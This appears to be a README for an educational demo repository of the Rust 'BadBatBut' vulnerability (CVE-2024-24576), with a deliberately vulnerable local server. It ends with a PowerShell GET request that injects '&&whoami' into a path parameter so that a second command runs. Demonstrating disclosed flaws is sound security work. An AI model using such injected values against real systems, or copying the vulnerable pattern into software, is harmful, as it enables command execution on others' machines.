CVE-2024-24576 BadBatBut Demo

This is a simple demo for the BadBatBut vulnerability CVE-2024-24576.

More information here - https://blog.rust-lang.org/2024/04/09/cve-2024-24576.html.

This repository is for educational purposes only.

Usage

Pre-built binary

• Get the pre-built windows binary from the releases.
• Run the server binary ./badbatbut-demo.exe

Build from source

• Clone this repo
• Run the code on a Windows box cargo run

Exploit

The server exposes an endpoint /server_info/{server} on http://localhost:9999 which runs a .bat file to fetch server info. The vulnerability can be exploited by sending a GET request to this endpoint like follows:

Write-Output (Invoke-WebRequest -Uri "http://localhost:9999/server_info/localhost&&whoami").Content